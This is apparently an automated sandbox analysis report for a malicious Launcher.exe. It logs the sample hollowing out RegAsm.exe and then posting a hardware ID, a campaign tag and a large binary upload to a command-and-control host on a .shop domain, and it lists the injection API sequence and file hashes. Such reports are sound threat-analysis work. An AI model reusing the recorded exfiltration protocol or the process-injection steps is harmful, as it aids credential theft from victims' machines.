2024-07-26 18:37:05 UTC	5116	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~
2024-07-26 18:37:05 UTC	796	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 18:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tgu8ckmgm5jraspahb6ae5b8l8; expires=Tue, 19-Nov-2024 12:23:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nypCpy7X5jYDZvp7DGJc5Qcrr4COj0kMfPz2C9hiVxFGFYXRox4gv8nxIxbizeaE%2BX4hf17k3nmyUNnhVkHMDMJRmpWZY2yJ0Y9KynWWHzuG9XUWaFaStbnw3EJomRFKHBfrEtrX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a967fbba85b7cff-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 18:37:05 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-26 18:37:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	188.114.96.3	443	3868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 18:37:06 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1265 Host: kaminiasbbefow.shop
2024-07-26 18:37:06 UTC	1265	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 35 39 37 38 38 35 34 45 45 42 42 44 45 43 38 34 41 39 44 41 41 46 34 36 39 38 41 33 33 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 6f 62 6c 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC5978854EEBBDEC84A9DAAF4698A33E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@obla
2024-07-26 18:37:06 UTC	800	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 18:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lkqrnglbh1op2kalhnhcab4s05; expires=Tue, 19-Nov-2024 12:23:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nP1Pwxl6%2BvfCtRIlPZgts8FhLbMonatwZSQeP1ifQYQ30SiDuNJkp93qZy1WXUuy%2FoIva61yyDAQn5XPc3L%2FpExmgzqRjulz20SuRhxjTCpuRfwL1y8uH1d0qdpbFRoX3aXAweRs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a967fc389a872ab-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 18:37:06 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-26 18:37:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	188.114.96.3	443	3868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 18:37:07 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584140 Host: kaminiasbbefow.shop
2024-07-26 18:37:07 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 35 39 37 38 38 35 34 45 45 42 42 44 45 43 38 34 41 39 44 41 41 46 34 36 39 38 41 33 33 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 6f 62 6c 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC5978854EEBBDEC84A9DAAF4698A33E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@obla
2024-07-26 18:37:07 UTC	15331	OUT	Data Raw: 42 85 0f 71 93 28 3c 09 9a 2d 94 a5 46 9f 53 a4 9c 2f 63 ff c4 d8 a1 fc e6 7f 7c d5 a2 18 17 36 a4 5f 4c 3a 7e 6d d5 ac 77 57 e7 b0 2d 32 2a aa 92 b7 4d 66 b9 39 4d 74 eb 15 35 a9 c4 41 7b 9f d0 c5 2c 55 6c 44 45 fc 71 26 f0 3e 08 95 5d aa 99 29 bd c6 8f 1b 18 dc ca 2b 24 3e 86 bd d4 09 03 25 4a 95 08 fa f3 f4 46 43 6d cc d0 91 b3 93 da e1 7f 7d dc 27 6a 83 b9 dd d2 4f 70 e6 7f 5e 78 70 6a cd 7c 46 a6 ab ea 41 b6 3a 9a 3d ad 6e ca 7e ff 3e 15 a2 ef 30 15 b2 a1 af 9a 77 b0 a9 7a a2 1a 94 24 ed 09 29 bc 3b d3 d2 c5 79 26 bf 02 37 c8 df 03 6d 41 d5 d1 bd 09 a7 39 3b 66 0b 4d c2 dc 0f a5 ec c5 4d 33 86 5c dc 7c 94 bb 56 79 43 78 1b ce e7 af af d7 1c a4 9e 67 a7 cf fb c4 08 03 a0 17 41 b5 46 a5 d0 2c 8b c4 e8 3f c5 bb 57 4f fa 2d 7f 09 cf 01 3d c2 be b7 75 9f Data Ascii: Bq(<-FS/c\|6_L:~mwW-2*Mf9Mt5A{,UlDEq&>])+$>%JFCm}'jOp^xpj\|FA:=n~>0wz$);y&7mA9;fMM3\\|VyCxgAF,?WO-=u
2024-07-26 18:37:07 UTC	15331	OUT	Data Raw: 01 be 8d e5 2b 9e 10 99 03 14 26 01 72 33 81 3d 50 9e b3 c3 4f 1e a8 62 1a b7 62 89 84 8d 54 10 6e 03 f9 ff db 7b 48 c2 8f 61 ec 82 7a 4d 4b 72 6f bc a2 d8 28 b0 27 35 bd 6c 84 82 e7 47 e3 38 40 f1 53 31 d8 9f 37 53 da 7d e3 c9 61 82 4a 40 7a 17 53 6e 36 5b c7 d2 b9 ce da 08 25 ea 65 f1 3c 9a 83 41 b0 9b b2 36 94 f7 42 21 9a 3e b4 05 16 3d 0e 99 5d 6c 90 14 d4 75 3b ff 5e e9 82 df be 48 21 b5 d7 a9 34 c2 77 5a 66 06 9c c0 e7 0b 41 27 2f aa fe be c3 56 12 44 32 09 83 e8 26 bb cb 79 9c 2b 62 d8 cc 56 98 5f ec f5 7a 12 c0 37 69 7d 67 b3 fb ab 80 72 4d 25 56 73 cd ab eb 69 a8 9d cb c6 c0 63 58 99 d3 6d 06 dd 3a 8d 98 df cb e3 34 da 0a 51 f7 61 4e 4a 9e 27 75 30 22 bd 78 63 08 cf 23 be f1 88 ba 42 bc 0f 1d 2a c5 d9 e7 19 c0 f1 7b f3 0f 81 f2 7f 91 81 b1 39 5f Data Ascii: +&r3=PObbTn{HazMKro('5lG8@S17S}aJ@zSn6[%e<A6B!>=]lu;^H!4wZfA'/VD2&y+bV_z7i}grM%VsicXm:4QaNJ'u0"xc#B*{9_
2024-07-26 18:37:07 UTC	15331	OUT	Data Raw: 42 4d a0 58 a8 59 34 b6 a1 ee 0a ca 40 15 b9 bc 3e a4 0f 19 be ee 2e 9d 38 60 18 15 be 17 1c 37 40 9c 31 2e e2 8b 0e ba 87 61 ac 8e 34 df df 30 49 34 06 2b 29 17 59 7f f4 0c fa 8f a5 0e cd 3c 0f 5f 81 72 90 c1 17 1d 88 5d 89 db d5 47 ee be 6a be 65 6d fc 88 61 d3 11 e4 01 04 21 e7 9e 73 76 05 8a bf 3b ab 96 06 6b 55 0a 38 a7 07 84 c8 be 9c a3 ec 31 14 08 cf 6e a9 95 c8 b8 fc 5f fc fe b8 73 c3 47 fa c2 97 4f de 17 2c 3a 07 b6 d8 cc 0b 9e af b9 3b 10 40 09 f0 da aa dc 83 ad ee be 60 7f 3e aa 5a 54 bb 54 00 1c 4a 20 b2 21 d7 79 69 13 b7 85 52 f9 6d 22 a5 b2 20 8f 45 f4 ab bb 13 15 2f 9c 52 e1 7b 7b 13 78 ce 97 99 10 4d 01 69 cb 30 b2 9f 1b de 4c a1 6f 44 de e1 9c 84 78 13 e0 91 4b 19 00 f9 9d 20 7e 37 f3 e5 f2 e8 79 82 e8 73 86 81 9e ba e4 7d 48 6d 1d 01 34 Data Ascii: BMXY4@>.8`7@1.a40I4+)Y<_r]Gjema!sv;kU81n_sGO,:;@`>ZTTJ !yiRm" E/R{{xMi0LoDxK ~7ys}Hm4
2024-07-26 18:37:07 UTC	15331	OUT	Data Raw: 5c af 03 bc d4 ea 67 39 17 b6 52 0e 22 74 a8 36 f5 2a 60 f4 b7 7a 30 bd 40 6a 7d c5 95 27 ed ad 75 1d e6 27 9c ba ea 0f a3 a1 38 27 91 d7 de 3c a1 f0 5a d3 1a 8f 52 53 8a 8a 64 0f 08 d7 f3 e5 8a e0 14 fd 94 0e 72 73 a3 43 1c a1 57 b2 eb a4 95 cf 4b 6b 34 ac 58 52 73 ae a9 c8 6f 37 89 31 68 a8 ab ea 56 42 7d 67 e4 3d 31 8b bd 22 2e 13 7c a8 d6 4a 12 9c b8 d1 78 69 c7 5b 60 ce 71 6f 34 db 11 fa da 0f 9f ef af 9f d9 1c f9 d1 a7 27 c5 96 d7 68 a4 cd b4 ec d7 1e 8d 88 8d 49 63 f0 84 42 f1 f2 ae 5f ee 57 ae 96 a9 00 9a ab ca e0 f4 12 64 56 1d 6e 97 a3 a2 8a 9f 0f 6d 5f 59 f3 1b 6d db b0 ac 68 59 7b bd e9 16 17 59 b7 ae 76 90 27 51 45 65 a0 71 23 de e3 90 48 9a 21 17 b5 0d d8 9b e6 69 86 fe 1c 1d e5 b6 01 2d 08 fe fb 9e 8a c3 24 d3 0a 4e c8 8f 68 d1 e6 bb 83 ab Data Ascii: \g9R"t6*`z0@j}'u'8'<ZRSdrsCWKk4XRso71hVB}g=1".\|Jxi[`qo4'hIcB_WdVnm_YmhY{Yv'QEeq#H!i-$Nh
2024-07-26 18:37:07 UTC	15331	OUT	Data Raw: c7 63 ce 1e 3c 47 5f 2c f0 e6 66 8f c5 cf 13 eb a3 5d 3e 55 87 2a fd 56 7c d1 bf dd 76 1f d7 0d 60 79 a5 62 6d e0 c9 b6 55 78 10 71 98 69 d1 ad f2 3a 2d 47 62 53 4c 7a 3a a4 64 0b bb b5 37 65 c4 62 6f e6 0d 7c 59 83 89 cc 04 34 3f 7c 8f 11 b8 e8 2a 1f aa ef dc 5a 63 ec 89 11 39 53 85 c0 79 a9 e4 98 45 f1 d6 90 c7 a9 63 b3 c9 d5 0e 07 bc 26 fa d4 0a d3 0b 44 67 c8 48 f3 49 be ef 45 be 82 7d 31 5e ea 3a d9 bb 94 d5 31 aa 80 17 12 15 65 ae cd a7 16 62 fb fd 33 5d 6c 26 05 0e eb 34 7b fb 6e ed 13 4a 4e d8 9b a7 c3 e5 d3 4b 84 8c 3c 41 f1 a1 91 1d 20 73 e1 1c b3 81 71 e8 b2 47 ac 29 96 35 f5 b1 e0 53 65 17 e4 96 12 26 80 1c 61 47 fc 8a 7f 42 a4 11 b0 8b b9 3c 53 03 d3 40 8d 4a d8 e4 f4 4c 4e 33 0e ec 57 6b b7 87 1f 83 19 c5 ea ff 18 25 ad c1 93 ad 57 78 02 f7 Data Ascii: c<G_,f]>UV\|v`ybmUxqi:-GbSLz:d7ebo\|Y4?\|Zc9SyEc&DgHIE}1^:1eb3]l&4{nJNK<A sqG)5Se&aGB<S@JLN3Wk%Wx
2024-07-26 18:37:07 UTC	15331	OUT	Data Raw: 56 56 2f eb 35 5b 99 72 34 c9 9d 7b 54 8c f7 0a 1f 3e 9c 36 86 68 0a b6 d9 67 2e 7d ba fc 6f b6 43 fe 8e d2 95 16 c3 67 fd 77 ab 8c 4b e7 ba fa ff be 72 b7 f4 5b ed 3f af ee 94 ed 2b 5d 9a d4 dd 4d e0 f6 b6 fe 5d c5 fd 33 bc 87 b0 b1 94 d6 8a 5d 7c a5 0c 7a d2 04 06 29 30 2c 22 60 52 b5 79 5d 14 a4 31 c0 62 dd f8 ef 43 20 1b 05 33 b5 33 b5 70 16 80 90 0d a1 10 08 71 b0 2e 0e e5 bc 1e 50 fb 75 1a c9 0b a5 e0 e4 96 d9 07 7b 0c 10 bc 70 51 fc f0 7e 42 d6 e6 c5 fe f4 8f 1a df 77 8a 98 a2 c3 61 f8 59 d3 e5 e5 ee ee ca 3f 0b 57 45 53 c3 d8 86 39 66 1f 62 58 de de 1b ee 2f 1e 41 a4 0c 2f fa 21 30 6b ed 2d 0c 44 04 b1 2d 92 db cd 11 79 cb eb 25 8f 9a 6f 5f 16 d5 c4 f3 52 6c ff d1 a5 87 17 3c f1 6d ff c0 ab f2 50 97 1c 2c 0f dd 29 05 41 18 f8 10 06 ff 6e 17 5e 00 Data Ascii: VV/5[r4{T>6hg.}oCgwKr[?+]M]3]\|z)0,"`Ry]1bC 33pq.Pu{pQ~BwaY?WES9fbX/A/!0k-D-y%o_Rl<mP,)An^
2024-07-26 18:37:07 UTC	15331	OUT	Data Raw: 5a 51 f1 c6 df 09 4d dd 62 c4 4b 3b ef 81 e8 19 56 ea f0 e0 3b 6e 1b 4a 6b 3e 28 d9 57 a2 72 12 f9 68 61 2d 24 e3 68 95 3f 3b 19 c4 0d 31 c2 8c 58 05 f1 9b 93 fc 60 84 6f 95 74 67 e2 e8 46 5f 46 ce 7f ae e5 77 19 c1 c5 ac 9b 77 0d e6 22 e6 95 ee 70 73 04 07 0b be ec 4e fb 61 72 df 6e c3 7b b1 b4 2d 4d 29 a5 35 b4 a6 c2 e5 d2 a5 cd 4d 36 8b 73 3f de 8c a3 cf 38 3a b7 6c 11 38 21 05 f7 5a 48 74 03 6a 8c c4 ff 82 c7 6c 70 39 f3 31 81 65 39 72 24 92 33 5b 3e e1 ea 32 38 53 be dc bd c2 41 2a 2a 86 94 b1 59 28 2d 2c 6d 32 e5 a9 7f c9 82 12 6e 4d 53 20 06 63 c9 47 e2 b3 2c 6d 22 48 12 b2 7e 11 ce 0d 20 f5 2a b6 76 58 54 b8 ff 5e 50 68 ad a4 1c 21 24 16 7d 63 c4 11 64 34 37 38 e7 80 cd d0 08 b4 eb 5a 2d cc fb 92 71 09 8b 8f 7f ff 58 10 1e 16 84 fe a4 d1 dd 83 3f Data Ascii: ZQMbK;V;nJk>(Wrha-$h?;1X`otgF_Fww"psNarn{-M)5M6s?8:l8!ZHtjlp91e9r$3[>28SA*Y(-,m2nMS cG,m"H~ vXT^Ph!$}cd478Z-qX?
2024-07-26 18:37:07 UTC	15331	OUT	Data Raw: 0f bf 1e aa 04 65 b7 34 8f d2 86 ce 43 39 34 24 68 11 9b ff 93 51 48 2e 43 05 5d 20 b9 91 60 95 93 bf 67 8e 4b 53 3f 26 ea 8c ae 5e 74 4b 0c c2 74 05 7d ad 61 82 95 dd 33 36 f5 f6 6d eb 8e a7 7e fd a9 ab fd 7b 5b 90 5d fe 02 8f 28 3a f2 66 42 c8 bb 11 94 d7 a5 d1 49 cb 37 c2 e0 24 b4 57 6b da e8 b3 ea 14 a1 80 85 6f 19 94 99 85 5d 98 1a 27 f2 4d d4 2e d4 b7 55 9a 1c 61 d9 9f 7a 0d 78 fd 48 d8 1f c1 cf 31 40 37 17 5a 46 31 38 65 79 68 17 be fc 04 35 8f 8d 81 7c 2a 91 4d 8a ae ba 8b b6 a3 67 1b 01 1c 56 6a 1b 29 b6 3b 65 17 4f b5 55 70 b4 04 6b 80 85 7e ad bf 78 e5 b2 9f 76 74 dd ed 21 32 2c df 00 61 f0 78 21 c5 cb 6f 55 94 ef 35 d8 eb ce ec 5a 7b a1 2a f4 d8 58 e7 7e 54 fa 05 d6 11 a4 ea ac 06 3e 75 dd 36 6f e3 99 1f de a6 9b 1f a7 7a 3e 8f a5 78 f8 bd 2b Data Ascii: e4C94$hQH.C] `gKS?&^tKt}a36m~{[](:fBI7$Wko]'M.UazxH1@7ZF18eyh5\|MgVj);eOUpk~xvt!2,ax!oU5Z{X~T>u6oz>x+
2024-07-26 18:37:07 UTC	15331	OUT	Data Raw: ae 72 63 82 87 61 0e 7f 33 9f 55 96 a3 af c2 6a 0e 23 41 ad fd 75 4d 7b e8 c0 55 56 be 2a df 21 a6 95 7d 76 d0 ca 79 5c ef 74 8a 3a 54 f5 8d 5c 02 59 56 ca 60 66 eb 8c a1 8d ea 29 32 32 cd a1 8d 8a 1a e5 b9 66 c2 9c 56 37 ed fc b3 df fa 92 50 6d 12 c5 69 32 82 52 86 79 25 e2 90 77 99 5c 1b 26 0b 6d 91 f9 54 29 04 44 ec 8a 02 09 47 59 9c 75 ff 31 22 bb 2f a6 3d b4 14 d7 5c 17 90 ff 8a 81 ce d9 a5 58 fe ef 38 29 fb a3 d2 da 37 39 da b7 e5 d3 03 6c 11 e5 08 06 79 fe d7 45 5c 61 b2 15 b3 c6 bb 1f a5 ba a7 3f a4 48 ba 4f 77 6a 99 e5 50 97 15 69 5f fb 4e a5 9c c0 fa 91 99 52 5a 74 9e d8 f4 ad bc 5b 39 ac d0 4f 5b b2 ff 9d 30 73 62 7e 3b 20 39 c5 86 e2 be 5a 9c 0a 1f f8 d7 cb 60 cf f2 87 ba d9 17 b3 91 ef a5 1b bd c2 5f 2e 56 eb cd b8 2b cf 5a fe 83 3e fb 0f da Data Ascii: rca3Uj#AuM{UV*!}vy\t:T\YV`f)22fV7Pmi2Ry%w\&mT)DGYu1"/=\X8)79lyE\a?HOwjPi_NRZt[9O[0sb~; 9Z`_.V+Z>
2024-07-26 18:37:10 UTC	802	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 18:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4a76d2ke8omosjoiebm52d1hho; expires=Tue, 19-Nov-2024 12:23:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xbkpWdgSlIWAglWC0tUMNQvkSdx6KyTx3mgL1nRWIsOdD%2BY8aQMeDDoz21YVDihNzUL5n0ePiQZTBmZ%2Fo4RNntugdm13YSg8H5pfy1wAUJ1ngiBu%2Fnz4w%2FbzDieIUPWDI7KFEDhN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a967fcbdd470cb8-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	188.114.96.3	443	3868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 18:37:10 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 92 Host: kaminiasbbefow.shop
2024-07-26 18:37:10 UTC	92	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 40 6f 62 6c 61 6b 6f 5f 73 75 70 70 6f 72 74 26 6a 3d 26 68 77 69 64 3d 44 43 35 39 37 38 38 35 34 45 45 42 42 44 45 43 38 34 41 39 44 41 41 46 34 36 39 38 41 33 33 45 Data Ascii: act=get_message&ver=4.0&lid=LPnhqo--@oblako_support&j=&hwid=DC5978854EEBBDEC84A9DAAF4698A33E
2024-07-26 18:37:11 UTC	800	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 18:37:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sgv4h65gcnvnffnak1eicf3i91; expires=Tue, 19-Nov-2024 12:23:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jBq5T5Y7c50vbr9%2Boxm7rsgtLzZVdTwzNxCkHjos0%2BcKSBrgn7EHfmmbZlMpLWb9oR0SuQHoU13A3WSNr3hgd7QFj1eNNXzoQYXFzbimiHS5OdiVL%2FHFdt7vDQTep5Tl8Esv1zkJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a967fddf98fc33c-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 18:37:11 UTC	54	IN	Data Raw: 33 30 0d 0a 66 35 42 49 44 79 6e 63 4e 4b 39 33 42 2f 67 74 55 74 74 4e 63 47 57 73 45 44 30 70 33 70 37 6b 6f 54 63 55 2b 45 2b 32 79 32 6f 6b 7a 51 3d 3d 0d 0a Data Ascii: 30f5BIDyncNK93B/gtUttNcGWsED0p3p7koTcU+E+2y2okzQ==
2024-07-26 18:37:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	14:36:58
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\Launcher.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Launcher.exe"
Imagebase:	0x500000
File size:	487'936 bytes
MD5 hash:	EB703224C407D3D68B7FBD444CC2DFC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:36:58
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:36:59
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x530000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	5.1%
Total number of Nodes:	292
Total number of Limit Nodes:	17

Executed Functions

Function 0147018D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,014700FF,014700EF), ref: 014702FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0147030F
Wow64GetThreadContext.KERNEL32(00000238,00000000), ref: 0147032D
ReadProcessMemory.KERNELBASE(0000023C,?,01470143,00000004,00000000), ref: 01470351
VirtualAllocEx.KERNELBASE(0000023C,?,?,00003000,00000040), ref: 0147037C
WriteProcessMemory.KERNELBASE(0000023C,00000000,?,?,00000000,?), ref: 014703D4
WriteProcessMemory.KERNELBASE(0000023C,00400000,?,?,00000000,?,00000028), ref: 0147041F
WriteProcessMemory.KERNELBASE(0000023C,-00000008,?,00000004,00000000), ref: 0147045D
Wow64SetThreadContext.KERNEL32(00000238,015D0000), ref: 01470499
ResumeThread.KERNELBASE(00000238), ref: 014704A8

Strings

GetP, xrefs: 0147020F
Load, xrefs: 014701CB
GetThreadContext, xrefs: 01470267
VirtualAllocEx, xrefs: 0147028D
WriteProcessMemory, xrefs: 014702A0
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 014702FB
ResumeThread, xrefs: 014702C9
aryA, xrefs: 014701D3
ReadProcessMemory, xrefs: 0147027A
VirtualAlloc, xrefs: 01470254
ress, xrefs: 01470217
CreateProcessA, xrefs: 01470241
SetThreadContext, xrefs: 014702B3
TerminateProcess, xrefs: 0147038B

Memory Dump Source

Source File: 00000000.00000002.1679589010.0000000001470000.00000040.00001000.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1470000_Launcher.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: 1242b75a35b54b7d74c6c1e05b5068240e9e83f4f50e5014721c8df2a7b4c826
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: A5B1E57260128AAFDB60CF68CC80BDA77A5FF88714F158525FA0CAB351D774FA418B94

